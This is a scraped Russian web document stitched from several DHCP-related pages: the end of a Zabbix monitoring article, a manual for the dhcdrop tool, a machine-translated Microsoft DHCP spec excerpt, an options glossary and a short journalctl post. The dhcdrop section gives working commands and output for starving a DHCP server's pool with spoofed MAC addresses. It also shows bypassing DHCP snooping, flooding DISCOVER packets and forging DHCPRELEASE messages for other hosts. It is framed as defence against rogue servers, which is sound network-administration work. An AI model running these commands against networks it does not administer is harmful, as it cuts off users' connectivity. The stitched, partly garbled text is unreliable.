К этому элементу данных присоединено 8 триггеров, два из которых имеют высокую важность, т.к. свидетельствуют о неработоспособности DHCP-сервера или о появлении чужого DHCP-сервера. Остальные триггеры имеют уровень важности «Предупреждение»:
5. Пример использования
Для примера я настроил контроль исправности DHCP-сервера на своём домашнем компьютере. В виртуальную машину с Zabbix проброшен интерфейс ens7, смотрящий в локальную сеть с DHCP-сервером. На интерфейсе отсутствуют сетевые настройки, используется он только для контроля исправности DHCP-сервера. На уровне сетевого узла созданы макросы, переопределяющие значения по умолчанию, определённые в шаблоне:
В последних данных можно увидеть числовое значение результата проверки DHCP-сервера и короткий текст, позволяющий быстро понять, какой именно результат получен:
6. Использованные материалы
Написать автору
←
NetPatch: Подавление DHCP серверов — dhcdrop
24 августа 2009
Поддерживаемые для сборки платформы: Windows, Linux, FreeBSD, NetBSD, OpenBSD & DragonFlyBSD.
Предисловие
При использовании в сети протокола DHCP и некотором недостатке управляемых коммутаторов с возможностью настройки фильтрации трафика, периодически возникает проблема с появлением ложных DHCP серверов. Обычно, причиной подобной проблемы является неграмотный пользователь, который неправильно подключил SOHO маршрутизатор к сети, либо очередное юное дарование, желающее заняться изучением телекоммуникационных технологий на практике. Так или иначе, но следствие одинакого — Ваши клиенты получившие конфигруационную информацию от подобного «вредителя», выбывают из нормальной работы в сети. В данной статье описана программа dhcdrop, позволяющая решить подобную проблему посредством подавления нелегальных DHCP серверов.
Кроме того, данная программа является хорошим диагностическим инструментом для проверки работоспособности DHCP серверов, а так же средством стресс-тестирования. Применение этой программы для каких-либо иных целей остаётся на Вашей совести 😉
Теоретическая основа
В протоколе DHCP определена опция, которая задает длительность аренды IP адреса (Lease time) — это время на которое DHCP сервер выдаёт IP адрес в пользование клиенту. По истечении этого временного интервала клиент должен выполнить попытку обновить IP адрес с целью продления аренды. Для сервера выдача IP адреса в аренду обозначает то, что за время аренды данный IP адрес может быть выдан только владельцу аренды и никому кроме него. Идентификация клиентов сервером производится на основании MAC адреса. Обычно, каждый сервер имеет пул динамических IP адресов, т.е. IP адресов которые не закреплены за конкретными MAC адресами и выдаются динамически по запросу любому клиенту. Пул на SOHO маршрутизаторах в конфигурации по умолчанию имеет небольшой размер — от нескольких десятков до 2х сотен адресов. В случае использования ПО, выполняющего роль DHCP сервера, величину пула определяет тот, кто настраивает. Если пул адресов исчерпан, то DHCP сервер игнорирует запросы от новых клиентов (возможно документируя это в логах) — т.е., фактически, бездействует.
Таким образом, в случае появления в сети ложных DHCP их можно нейтрализовать достаточно просто — необходимо получить аренду на все доступные на данном сервере IP адреса, каждый раз посылая запросы от уникальных клиентов. Чем больше время аренды в настройках сервера, тем на больший срок DHCP сервер оказывается нейтрализован в случае исчерпания динамического пула. Для большинства SOHO маршрутизаторов Lease Time исчисляется днями, или даже неделями. В случае использования в качестве DHCP сервера WinGate, dhcpd и прочего подобного софта, время зависит от фантазии человека который его настроил.
Принцип работы dhcdrop
Программа открывает указанный в параметрах командной строки интерфейс в promiscuous режиме, формирует DHCP запрос (DHCPDISCOVER), используя случайный исходящий MAC адрес (если в параметрах не задано иное поведение), и отправляет его в интерфейс.
01:58:04.681600 00:70:de:3b:b9:05 > ff:ff:ff:ff:ff:ff, ethertype IPv4 (0x0800),
length 342: (tos 0x10, ttl 64, id 33964, offset 0, flags [none],
proto UDP (17), length 328)
0.0.0.0.68 > 255.255.255.255.67: BOOTP/DHCP, Request from 00:70:de:3b:b9:05,
length 300, xid 0xcc1cfc5c, Flags [none]
Client-Ethernet-Address 00:70:de:3b:b9:05
Vendor-rfc1048 Extensions
Magic Cookie 0x63825363
DHCP-Message Option 53, length 1: Discover
Parameter-Request Option 55, length 3:
Domain-Name-Server, Default-Gateway, Subnet-Mask
Hostname Option 12, length 12: "DHCP-dropper"
Vendor-Class Option 60, length 12: "DHCP-dropper"
Client-ID Option 61, length 7: ether 00:70:de:3b:b9:05
После чего переходит к ожиданию ответа (DHCPOFFER) сервера. Если получен ответ с предложением аренды IP адреса, то в интерфейс отправляется следующий DHCP запрос (DHCPREQUEST) на который сервер отвечает DHCPACK-пакетом подтверждающим возможность использования данного IP адреса клиентом. На этом операция получения аренды на предложенный сервером IP адрес завершена. Программа изменяет MAC адрес источника и вновь посылает DHCPDISCOVER, после чего все вышеуказанные операции по получению аренды нового IP адреса повторяются. Стоит обрать внимание что программа изменяет не только MAC адрес клиента в DHCP сообщении, но и MAC адрес в заголовке Ethernet-фрейма. Данная возможность максимально приближает работу программы к работе реального DHCP клиента (а так же позволяет обойти DHCP snooping).
Описание опций программы
Запуск без параметров:
$ dhcdrop
Usage:
dhcpdrop [-h] [-D] [-t] [-y] [-r] [-b] [-a] [-A] [-f] [-R] [-q]
[-m <count>] [-c <count>] [-n <hostname>] [-N <clientname>]
[-p <port>] [-P <port>] [-w <secs>] [-T <timeout>]
[-M <max-hosts-scan>] [-l <MAC-address>] [-L <network>]
[-S <network/mask>] [-F <from-IP>] [-s <server-IP>]
[-C <children count (2 - 32)>] [<initial MAC address>]
-i <interface-name|interface-index>
DHCP-dropper v0.5 was written by Chebotarev Roman at 05.08.2009
Home page: http://www.netpatch.ru/dhcdrop.html
Use option -h for help. Exit.
Подробное описание:
-h
— показывает help-сообщение.-D
— просмотр списка имён и индексов сетевых интерфейсов. Актуально в ОС Windows — см. пример ниже.-t
— Режим теста. В этом режиме dhcdrop не выполняет подавление сервера. Производится лишь посылка DHCPDISCOVER, если на него приходит ответ нелегального сервера, то программа заверается возвращаяя код 200 и выводя на экран строку вида DHCP SRV: 10.7.7.1 (IP-hdr: 10.7.7.1) SRV ether: 00:02:44:75:77:E4, YIP: 10.7.7.205 содержащую минимум информации о создающем проблему DHCP сервере.-y
— подразумевается ответ «yes» на любой вопрос программы.-r
— отключает рандомизацию MAC адреса источника. Каждый последующий MAC адрес источника увеличивается на 1.-b
— указывает на необходимость использования флага BROADCAST в отправляемых DHCP пакетах.-a
— всегда ожидать ответа сервера на порт DHCP клиента по умолчанию (68), даже если задано значение номера порта клиента отличное от значения по умолчанию.-A
— всегда ожидать ответа с порта DHCP сервера по умолчанию (67), даже если задано значение номера порта сервера отличное от значения по умолчанию.-f
— режим флуда запросами DHCPDISCOVER. ПРИМЕНЯТЬ С ОСТОРОЖНОСТЬЮ. Удобен для стресс-тестирования сервера. В случае указания опции -r все отправляемые пакеты имеют одинаковый MAC адрес.-R
— отправляет сообщение DHCPRELEASE с MAC адресом источника указанном при запуске программы и IP адресом указанным при помощи опции -F к серверу указанному опцией -s.-q
— «тихий» режим работы. Выводится минимум информации.-m count
— максимальное число попыток получения ответа от сервера.-c count
— максимальное число адресов арендуемых у сервера.-n hostname
— значение DHCP опции HostName (по умолчанию — «DHCP-dropper»)-N clientname
— значение DHCP опции Vendor-Class (по умолчанию — «DHCP-dropper»)-p port
— порт используемый клиентом для отправки DHCP сообщений. По умолчанию — 68.-P port
— порт сервера, на который отправляются DHCP сообщения. По умолчанию — 67.-w секунд
— задаёт таймаут рестарта процесса получения IP адресов в случае использования агрессивного режима. По умолчанию — 60 секунд.-T timeout
— устанавливает таймаут ожидания ответа сервера (в секундах). По умолчанию — 3 секунды.-M хостов-максимум
— максимально допустимое количество сканируемых хостов в случае использования агрессивного режима.-l MAC-address
— Ethernet адрес сервера который необходимо игнориновать при выполненении поиска ложных DHCP серверов в сети. В этой опции следует указать адрес DHCP сервера ответственного за раздачу адресов в данном сегменте сети. Может быть указано несколько адресов — каждый должен предваряться ключом -l.-L легальная-сеть
— указывает легальную IP подсеть для выбранного интерфейса. Использование этой опции автоматически включает агрессивный режим получения IP адресов. Может быть указано несколько сетей — каждая должна предваряться ключом -L. Подробное описание смотрите ниже.-S сеть/маска
— ARP сканирование сети ‘сеть’ с использованием сетевой маски ‘маска’ в CIDR нотации. IP адрес источника задаётся опцией -F. Если IP адрес источника не задан — используется случайный адрес из диапазона указанной подсети. Пример использования смотрите ниже.-F исходящий-IP-адрес
— указывает IP адрес источника для сканирования сети (опция -S), либо IP адрес DHCP клиента для отправки сообщения DHCPRELEASE (опция -R).-s IP-адрес-сервера
— задаёт IP адрес DHCP сервера. Используется с опцией -R.-C count
— число порождаемых процессов-потомков. Совместим только с флагом -f. Используется для увеличения числа отправляемых пакетов за единицу времени. При значении этого параметра равном 30, 10000 пакетов генерировалось менее чем за 1,5 секунды.-i interface
— имя либо индекс сетевого интерфейса (см. ключ -D). Не может быть «any»! Единственный обязательный параметр программы.
initial MAC address — задаёт MAC адрес источника используемый при отправке первого DHCP сообщения, либо используемый постоянно, в случае использования опции-f
(flood) вместе с опцией-r
. Если не указан, то используется случайный MAC адрес источника.
Использование программы
Ниже представлены наиболее часто используемые режимы запуска программы.
Просмотр списка интерфейсов
Для начала нужно понять как называется сетевой интерфейс на котором находится DHCP сервер. Если в UNIX-like ОС понять это достаточно просто, руководствуясь выводом команды ifconfig, то в ОС семейства Windows всё не так очевидно. По этому сперва запустим программу с ключом -D
:
C:\>dhcdrop -D
Available interfaces:
1:\Device\NPF_GenericDialupAdapter
descr: Adapter for generic dialup and VPN capture
2:\Device\NPF_{0C796DB5-22D9-46AB-9301-9C7ADC2304AF}
descr: ZyXEL GN650 1000Base-T Adapter (Microsoft's Packet Scheduler)
iaddr: 192.168.1.2/24 bcast: 255.255.255.255
iaddr: 10.7.7.7/24 bcast: 255.255.255.255
По выведенной информации очевидно что нам нужен второй интерфейс. В качестве аргумента для ключа программы -i
можно задать либо индекс интерфейса 2, либо его имя: \Device\NPF{0C796DB5-22D9-46AB-9301-9C7ADC2304AF}_. На мой взгляд гораздо проще использовать индекс и запустить программу указав вместо имени индекс, например: dhcdrop -i 2
Интерактивный режим, по умолчанию
Самый простой вариант использования программы для поиска и выбора подавляемого сервера вручную:
$ sudo dhcdrop -i eth2
Using interface: 'eth2'
Got response from server 10.7.7.1 (IP-header 10.7.7.1), server ethernet address: 00:02:44:75:77:E4, lease time: 1.1h (3960s)
Got BOOTREPLY (DHCPOFFER) for client ether: 00:16:09:D8:CF:60 You IP: 10.7.7.201/24
Drop him? [y/n] n
Searching next server...
Got response from server 192.168.1.1 (IP-header 192.168.1.1), server ethernet address: 00:1E:2A:52:C8:CA, lease time: 24h (86400s)
Got BOOTREPLY (DHCPOFFER) for client ether: 00:16:09:D8:CF:60 You IP: 192.168.1.2/24
Drop him? [y/n] y
1. Got BOOTREPLY (DHCPACK) for client ether: 00:16:09:D8:CF:60 You IP: 192.168.1.2/24
2. Got BOOTREPLY (DHCPACK) for client ether: 00:A2:FA:12:41:F7 You IP: 192.168.1.3/24
3. Got BOOTREPLY (DHCPACK) for client ether: 00:56:EA:F8:1C:B0 You IP: 192.168.1.4/24
4. Got BOOTREPLY (DHCPACK) for client ether: 00:EA:91:1A:C8:A8 You IP: 192.168.1.5/24
5. Got BOOTREPLY (DHCPACK) for client ether: 00:83:8A:25:C7:1C You IP: 192.168.1.6/24
6. Got BOOTREPLY (DHCPACK) for client ether: 00:CA:A7:FF:C1:70 You IP: 192.168.1.7/24
Wait DHCPOFFER timeout. Resending DHCPDISCOVER.
Wait DHCPOFFER timeout. Resending DHCPDISCOVER.
Wait DHCPOFFER timeout. Resending DHCPDISCOVER.
Wait DHCPOFFER timeout. Resending DHCPDISCOVER.
Wait DHCPOFFER timeout. Resending DHCPDISCOVER.
Finished.
Как видно из примера — при получении ответа от DHCP сервера dhcdrop сообщает полученную от сервера информацию о предлагаемом IP адресе и спрашивает о необходимости подавления данного сервера. Получив отрицательный ответ — продолжает поиск серверов в сети игнорируя обнаруженный ранее сервер. В случае получения утвердительного ответа — начинает процесс подавления сервера указанным выше способом.
Режим автоматического подавления всех серверов кроме легитимного
В случае если мы знаем (а обычно мы знаем) MAC адрес легального DHCP сервера в нашей сети, операцию подавления ложных серверов можно упростить:
$ sudo dhcdrop -i eth2 -y -l 00:02:44:75:77:E4
Using interface: 'eth2'
Got response from server 192.168.1.1 (IP-header 192.168.1.1), server ethernet address: 00:1E:2A:52:C8:CA, lease time: 24h (86400s)
Got BOOTREPLY (DHCPOFFER) for client ether: 00:37:C5:10:BE:16 You IP: 192.168.1.2/24
1. Got BOOTREPLY (DHCPACK) for client ether: 00:37:C5:10:BE:16 You IP: 192.168.1.2/24
2. Got BOOTREPLY (DHCPACK) for client ether: 00:94:26:88:33:BD You IP: 192.168.1.3/24
3. Got BOOTREPLY (DHCPACK) for client ether: 00:E5:AC:7B:79:BB You IP: 192.168.1.4/24
4. Got BOOTREPLY (DHCPACK) for client ether: 00:EA:16:AD:B2:30 You IP: 192.168.1.5/24
5. Got BOOTREPLY (DHCPACK) for client ether: 00:A2:8D:16:7E:82 You IP: 192.168.1.6/24
6. Got BOOTREPLY (DHCPACK) for client ether: 00:04:ED:4A:C2:C5 You IP: 192.168.1.7/24
Wait DHCPOFFER timeout. Resending DHCPDISCOVER.
Wait DHCPOFFER timeout. Resending DHCPDISCOVER.
Wait DHCPOFFER timeout. Resending DHCPDISCOVER.
Wait DHCPOFFER timeout. Resending DHCPDISCOVER.
Wait DHCPOFFER timeout. Resending DHCPDISCOVER.
Finished.
В подобном варианте использования dhcdrop подавляет любой сервер кроме указанного опцией -l
сервера, не задавая дополнительных вопросов (благодаря использованию опции -y
).
Тестовый режим
Тестовый режим (-t
) удобно использовать для выполнения программы из скриптов, в автоматизированном режиме. Ниже приведён пример простейшего скрипта:
#!/bin/bash
LEGAL_SERVER="00:11:22:33:44:55"
DROPPER="/usr/sbin/dhcdrop"
IFNAME="eth2"
$DROPPER -i $IFNAME -t -l $LEGAL_SERVER -m 3
if [ $? = 200 ]
then
echo Illegal server found\! Dropping him\!
$DROPPER -i $IFNAME -l $LEGAL_SERVER -y
else
echo Illegal server not found.
fi
В строке 4 выполняется запуск dhcdrop в тестовом режиме, с указанием опции легального для сети DHCP сервера (-l
), опцией режима тестирования (-t
) и опцией задающей максимальное число попыток отправки DHCPDISCOVER в режиме поиска сервера (-m
). Если ни на один из отправленных запросов не придёт ответа — программа завершается с кодом 0. Если приходит ответ от сервера не заданного опцией -l
, программа завершается с кодом 200, что вызывает последующий запуск программы с параметрами определяющими подавление любого DHCP сервера в сети, кроме легального.
Использование агрессивного режима получения адресов
Как можно догадаться из описания протокола DHCP — если клиент уже получил конфигурационный набор данных от нелегального DHCP сервера, то сервер не выдаст повторно этот набор другому клиенту пока не истечёт срок аренды. Следовательно простое исчерпание пула IP адресов не спасёт клиентов уже получивших не верные конфигурационные данные — сервер будет выдавать эти адреса только изначально запросившим их клиентам и будет игнорировать запросы от dhcdrop. При следующей попытке обновления адреса клиенты вновь получат информацию от нелегального DHCP сервера, и так будет продолжаться пока не отключат нелегальный DHCP сервер.
Для решения подобных проблем в dhcdrop начиная с версии 0.5. добавлен агрессивный режим получения IP адресов. Включается опцией -L
указывающей легитимную IP подсеть для данного Ethernet сегмента сети. Алгоритм его работы следующий:
- dhcdrop запускает обычный режим подавления и исчерпывает весь пул свободных IP адресов нелегального DHCP сервера.
- Анализирует первый DHCPOFFER полученный от нелегального DHCP. При помощи сетевой маски и IP адреса клиента выданных сервером получает адрес IP сети обслуживаемой этим сервером.
- Запускает ARP-сканирование полученной подсети с целью выявить хосты получившие не правильную конфигурационную информацию. По умолчанию число сканируемых хостов ограничено числом 512 (можно изменить опцией -M) — некоторые сервера выдают конфигурационные наобры с маской /8, что соответствует примерно 16 млн. хостов — сканирование такого адресного диапазона займёт очень большое время.
- Отправляет DHCP серверу сообщения DHCPRELEASE от каждого из найденных хостов (исключая сам сервер).
- Ожидает 60 секунд (значение по умолчанию, может быть изменено опцией -w) после чего перезапускает процесс получения IP адресов.
$ sudo dhcdrop -i eth2 -y -l 00:02:44:75:77:E4 -L 10.7.7.0
Using interface: 'eth2'
Got response from server 192.168.1.1 (IP-header 192.168.1.1), server ethernet address: 00:1E:2A:52:C8:CA, lease time: 24h (86400s)
Got BOOTREPLY (DHCPOFFER) for client ether: 00:BC:BF:D6:39:2E You IP: 192.168.1.5/24
1. Got BOOTREPLY (DHCPACK) for client ether: 00:BC:BF:D6:39:2E You IP: 192.168.1.5/24
2. Got BOOTREPLY (DHCPACK) for client ether: 00:FB:E7:A4:19:EC You IP: 192.168.1.6/24
3. Got BOOTREPLY (DHCPACK) for client ether: 00:CB:44:F9:A8:6F You IP: 192.168.1.7/24
Wait DHCPOFFER timeout. Resending DHCPDISCOVER.
Wait DHCPOFFER timeout. Resending DHCPDISCOVER.
Wait DHCPOFFER timeout. Resending DHCPDISCOVER.
Wait DHCPOFFER timeout. Resending DHCPDISCOVER.
Wait DHCPOFFER timeout. Resending DHCPDISCOVER.
Trying to use agressive mode.
Starting ARP scanning network in range: 192.168.1.0 - 192.168.1.255...
Illegal DHCP server perhaps assigned IP adresses to the following hosts:
1. Received ARP-reply from: 00:1e:2a:52:c8:ca (192.168.1.1) - itself DHCP server.
2. Received ARP-reply from: 00:03:ff:15:52:90 (192.168.1.3)
3. Received ARP-reply from: 00:03:ff:14:52:90 (192.168.1.4)
4. Received ARP-reply from: 00:a0:c5:30:52:90 (192.168.1.200)
Sending DHCPRELEASE for invalid clients:
Send DHCPRELEASE for host 00:03:ff:15:52:90 (192.168.1.3).
Send DHCPRELEASE for host 00:03:ff:14:52:90 (192.168.1.4).
Send DHCPRELEASE for host 00:a0:c5:30:52:90 (192.168.1.200).
Restart dropping DHCP server after 60 seconds timeout...
1. Got BOOTREPLY (DHCPACK) for client ether: 00:BC:BF:D6:39:2E You IP: 192.168.1.5/24
2. Got BOOTREPLY (DHCPACK) for client ether: 00:F1:32:14:60:A3 You IP: 192.168.1.3/24
3. Got BOOTREPLY (DHCPACK) for client ether: 00:2D:1C:80:ED:12 You IP: 192.168.1.4/24
Wait DHCPOFFER timeout. Resending DHCPDISCOVER.
Wait DHCPOFFER timeout. Resending DHCPDISCOVER.
Wait DHCPOFFER timeout. Resending DHCPDISCOVER.
Wait DHCPOFFER timeout. Resending DHCPDISCOVER.
Wait DHCPOFFER timeout. Resending DHCPDISCOVER.
WARNING: Failed to take away all the IP addresses assigned by DHCP server.
Perhaps DHCP server checks availability of IP addresses by sending ARP-request
before assigning them. Try to restart dhcpdrop later. If it doesn't help
try to disconnect problem hosts temporarily, then send manually DHCPRELEASE
from address of this hosts (use option -R) and restart dhcdrop.
Finished.
Пояснения к результатам работы программы.
После вывода надписи «Trying to use agressive mode.» начинается ARP сканирование подсети обслуживаемой нелегальным DHCP сервером в указанном диапазоне. В результате найдено 4 хоста, включая сам DHCP сервер (1й хост). Затем dhcdrop посылает серверу 192.168.1.1 сообщения DHCPRELEASE от адресов (Ethernet & IP) всех хостов найденных в подсети кроме самого DHCP сервера и останавливает выполнение на 60 секунд. Таймаут необходим потому что некоторые DHCP сервера удерживают выдачу IP адреса новому клиенту в течение небольшого времени после получения сообщения DHCPRELEASE от предыдущего клиента. В случае необходмости значение таймаута можно изменить опцией -w
. По истечении таймаута dhcdrop запускает процесс получения освободившихся IP адресов. Успешно удалось получить IP адреса 192.168.1.5 (был получен изначально при старте программы), 192.168.1.3 и 192.168.1.4. Последние два адреса были успешно особождены сервером после получения сообщений DHCPRELEASE сгенерированных dhcdrop. Не удалось получить адрес 192.168.1.200 несмотря на присутствие этого хоста в сети, и то что от его адреса было отправлено сообщение DHCPRELEASE. Одна из причин неудачи описана в предупреждении, в конце вывода программы — DHCP сервер перед выдачей адресов может проверять присутствует ли в сети хост с запрашиваемым IP адресом и только после этого — выдавать адрес, если таковой хост в сети отсутствует. В противном случае — новая аренда на этот адрес выдана не будет. В этой ситуации может помочь отключение проблемных хостов от сети вручную и отправка сообщений DHCPRELEASE от адреса этих хостов серверу (см. пример ниже), после чего необходимо снова запустить процесс получения IP адресов.
Но в нашем случае проблема кроется не в этом — хост 192.168.1.200 имеет статически установленный адрес и потому никогда не запрашивал конфигурации у DHCP сервера.
Сама необходимость указания легальной сети для запуска агрессивного режима необходима что бы проверить — не пересекается ли адресный диапазон выдаваемый нелегальным DHCP сервером с адресным пространством подсети в которой он обнаружен. Если адресные пространства пересекаются — ARP сканирование будет проведено по хостам имеющим правильную конфигурацию и выведет ошибочную информацию. Потому в случае обнаружения пересечения диапазонов адресов агрессивный режим не запускается.
Отправка сообщения DHCPRELEASE
Возможно у вас возникнет необходимость отправки сообщений DHCPRELEASE в ручном режиме. Например по причине указанной в предыдущем примере. Сделать это можно при помощи опции -R
:
$ sudo dhcdrop -i eth2 -R -s 192.168.1.1 -F 192.168.1.4 00:2D:1C:80:ED:12
Using interface: 'eth2'
Send DHCPRELEASE from 00:2D:1C:80:ED:12 client IP 192.168.1.4 to DHCP server 192.168.1.1
Finished.
Опция -s
задаёт IP адрес сервера, -F
— IP адрес DHCP-клиента, 00:2D:1C:80:ED:12 — Ethernet адрес клиента. В результате в сеть отправлен пакет вида:
16:13:43.887735 00:2d:1c:80:ed:12 > ff:ff:ff:ff:ff:ff, ethertype IPv4 (0x0800), length 342:
(tos 0x10, ttl 64, id 29807, offset 0, flags [none], proto UDP (17), length 328)
0.0.0.0.68 > 192.168.1.1.67: BOOTP/DHCP, Request from 00:2d:1c:80:ed:12,
length 300, xid 0xb2f04a28, Flags [none]
Client-IP 192.168.1.4
Client-Ethernet-Address 00:2d:1c:80:ed:12
Vendor-rfc1048 Extensions
Magic Cookie 0x63825363
DHCP-Message Option 53, length 1: Release
Server-ID Option 54, length 4: 192.168.1.1
Client-ID Option 61, length 7: ether 00:2d:1c:80:ed:12
Сканирование сегмента сети
Вы можете использовать ARP сканирование сети для поиска клиентов получивших не верную конфигурационную информацию. Осуществляется при помощи опции -S
:
$ dhcdrop -i eth2 -S 192.168.1.0/24
Using interface: 'eth2'
Starting ARP-scanning for subnet 192.168.1.0/24.
IP address range 192.168.1.0 - 192.168.1.255.
WARNING: Source IP is not set (use option -F).
Using random value for source IP address: 192.168.1.195
1. Received ARP-reply from: 00:1e:2a:52:c8:ca (192.168.1.1).
2. Received ARP-reply from: 00:a0:c5:30:52:90 (192.168.1.200).
Finished.
Как следует из предупреждения напечатанного программой — при запуске не был задан IP адрес источника, потому dhcdrop выбирает случайный IP адрес из диапазона адресов указанной подсети. Если вам нужно указать адрес источника — используйте опцию -F
.
Для данного типа сканирования не важны фактические настройки маршрутизации в вашей сети. Всегда будет использоваться интерфейс заданный опцией -i
из расчёта что хосты указанной подсети находятся в одном Ethernet сегменте с хостом на котором запущен dhcdrop.
Так же, данная опция позволяет обнаружить дублирование IP адресов в одном сегменте сети, даже если сканирование производится с хоста чей IP адрес дублируется другим хостом.
[MS-DHCPN]: получение сообщения DHCPACK в ответ на сообщение DHCPREQUEST во время получения новой аренды
- 2 минуты на чтение
Оцените свой опыт
да Нет
Любой дополнительный отзыв?
Отзыв будет отправлен в Microsoft: при нажатии кнопки «Отправить» ваш отзыв будет использован для улучшения продуктов и услуг Microsoft.Политика конфиденциальности.
Представлять на рассмотрение
Спасибо.
В этой статье
Если у клиента есть сервер с поддержкой NAP состояние установлено на «Да», и он получает сообщение DHCPACK , которое содержит NAP-SoH (раздел 2.2.1.1) вариант с DHCP-сервера, DHCP клиент ДОЛЖЕН извлечь SoH-ответ из параметр NAP-SoH и передайте его агенту NAP.В Параметр NAP-SoH (раздел 2.2.1.1) извлечен из DHCPACK сообщение, вызвав DhcpExtractVendorSpecificOption ([MS-DHCPE] раздел 3.1.7.2). Если SoH-Response указывает, что клиент помещен в карантин, а NAP-IPv6 опция присутствует в сообщении, клиент ДОЛЖЕН извлечь адреса IPv6 Серверы исправления из варианта NAP-IPv6 по телефону DhcpExtractVendorSpecificOption ([MS-DHCPE] раздел 3.1.7.2) и блокировать (в зависящий от реализации <3> способ) все входящие и исходящие Трафик IPv6 на сетевом интерфейсе, на котором было получено сообщение DHCP. кроме трафика ICMPv6 и DHCPv6, а также трафика от IPv6 Remediation и обратно адреса серверов.Если клиент помещен в карантин и параметр NAP-IPv6 установлен отсутствует в сообщении, клиент ДОЛЖЕН заблокировать (в зависящий от реализации <4> способ) весь трафик IPv6, кроме Трафик ICMPv6 и DHCPv6 на сетевом интерфейсе, на котором сообщение DHCP был получен. Если клиент не помещен в карантин, любой параметр NAP-IPv6 ДОЛЖЕН игнорировать. Если параметры маски подсети и маршрутизатора определены в [RFC2132] разделы 3.3 и 3.5 соответственно присутствуют в сообщении соответствующие Маска подсети и IP-адреса маршрутизатора ДОЛЖНЫ быть настроены в стеке TCP / IP.В Параметр Microsoft Classless Static Routes, если он присутствует в сообщении, обрабатывается, как указано в разделе 3.1.5.2 [MS-DHCPE]. Параметр NAP-Mask, если он присутствует в сообщении, МОЖЕТ <5> использоваться клиенты, которые не поддерживают бесклассовые статические маршруты и полагаются на DHCP Параметр статического маршрута определен в [RFC2132] для информации о маршрутизации.
Если клиент имеет состояние сервера с поддержкой NAP, установленное на «Да» и сообщение DHCPACK , полученное от DHCP-сервера. не содержит параметр NAP-SoH, DHCP-клиент ДОЛЖЕН обработать сообщение только для параметров маски подсети и маршрутизатора Microsoft Classless Static Маршруты (раздел 3.1.5.2) и вариант NAP-Mask, как описано в предыдущем абзаце.
Если клиент имеет состояние сервера с поддержкой NAP, установленное на «Нет», клиент ДОЛЖЕН обрабатывать сообщение DHCPACK , как будто его нет. из опций, определенных в этой спецификации, присутствовали в сообщении.
DHCPACK
DHCPACKЗатем сервер отвечает DHCPACK, чтобы завершить DHCP. сеанс.
- ID сервера
его опция используется в DHCPOFFER и Сообщения DHCPREQUEST и могут быть включены в Сообщения DHCPACK и DHCPNAK.DHCP-серверы включают это в DHCPOFFER, чтобы позволить клиенту различать предложения аренды. Клиенты DHCP используют содержимое поля ‘идентификатор сервера’ в качестве пункта назначения адрес для любых одноадресных сообщений DHCP в DHCP сервер. Клиенты DHCP также указывают, какой из нескольких арендовать предложения принимаются путем включения этой опции в Сообщение DHCPREQUEST. Идентификатор — это IP-адрес выбранный сервер.
- Время аренды IP-адреса
Эта опция используется в запросе клиента (DHCPDISCOVER или DHCPREQUEST), чтобы клиент мог запросить время аренды IP-адреса. На сервере DHCPOIFFER ответ, DHCP-сервер использует эту опцию, чтобы указать время аренды он готов предложить. Время в единицах секунд и указывается как 32-битное беззнаковое целое число.
- Маска подсети
Параметр маски подсети указывает маска подсети клиента согласно RFC 950.Если обе маски подсети и параметр маршрутизатора указываются в ответе DHCP, Параметр маски подсети должен быть первым.
- Широковещательный адрес
Эта опция определяет широковещательный адрес используется в подсети клиента.
- Маршрутизаторы в подсети
Параметр маршрутизатора определяет список IP-адресов. адреса для маршрутизаторов в подсети клиента. Маршрутизаторы должны быть перечислены в порядке предпочтения.
- Имя домена
- Хост DNS
Параметр сервера доменного имени указывает список серверов имен системы доменных имен, доступных для клиент. Серверы должны быть перечислены в порядке предпочтение.
Простой способ узнать, какой DHCP-сервер дал вам IP — Bytefreaks.net
Недавно мы пытались определить, какой DHCP-сервер
отвечает на сообщения в сети.Используя клиент с поддержкой DHCP
на Fedora 26
GNU
/ Linux
, мы просмотрели содержимое journalctl
, чтобы найти сообщения подтверждения DHCP
( DHCPACK
) и выяснить IP IP
из сервер DHCP
.
Мы использовали следующую команду:
sudo journalctl | grep DHCPACK;
И это дало нам такие результаты, как показано ниже:
[[адрес электронной почты защищен] ~] $ sudo journalctl | grep DHCPACK 12 ноября 13:08:28 sys-net dhclient [578]: DHCPACK из 10.1.101.252 (xid = 0x80ec760c) 12 ноября, 13:08:34 sys-net dhclient [720]: DHCPACK из 10.1.101.252 (xid = 0x2ed6486f) 12 ноября, 11:51:19 sys-net dhclient [1248]: DHCPACK из 10.1.101.252 (xid = 0xe3dd491c) 12 ноября, 12:02:09 sys-net dhclient [1407]: DHCPACK из 10.1.101.252 (xid = 0x1fa42c2d) 12 ноября, 12:11:03 sys-net dhclient [1508]: DHCPACK из 10.1.101.252 (xid = 0x91c3990a) 12 ноября, 12:14:06 sys-net dhclient [1607]: DHCPACK из 10.1.101.252 (xid = 0x57ebb515) 12 ноября, 12:19:27 sys-net dhclient [1710]: DHCPACK от 10.1.101.252 (xid = 0x5450c250) 12 ноября, 12:19:39 sys-net dhclient [1776]: DHCPACK из 10.1.101.252 (xid = 0x2c38d517) 12 ноября, 12:39:53 sys-net dhclient [1837]: DHCPACK из 192.168.1.1 (xid = 0xe7a1182d) 12 ноября, 12:40:51 sys-net dhclient [1837]: DHCPACK из 192.168.1.1 (xid = 0xe7a1182d) 12 ноября, 12:41:51 sys-net dhclient [1837]: DHCPACK из 192.168.1.1 (xid = 0xe7a1182d) 12 ноября, 12:42:44 sys-net dhclient [1837]: DHCPACK из 192.168.1.1 (xid = 0xe7a1182d) 12 ноября, 12:43:33 sys-net dhclient [1837]: DHCPACK от 192.168.1.1 (xid = 0xe7a1182d) 12 ноября, 12:44:31 sys-net dhclient [1837]: DHCPACK из 192.168.1.1 (xid = 0xe7a1182d) 12 ноября, 12:46:20 sys-net dhclient [2053]: DHCPACK из 192.168.1.1 (xid = 0xbb006001)
Важно использовать sudo
, иначе вы не будете видеть сообщения от других пользователей и системы. Так как все сообщения могут видеть только пользователи в группах «adm», «systemd-journal», «wheel».
Эта публикация также доступна на: Греческий
Отображение документов | Центр поддержки HPE
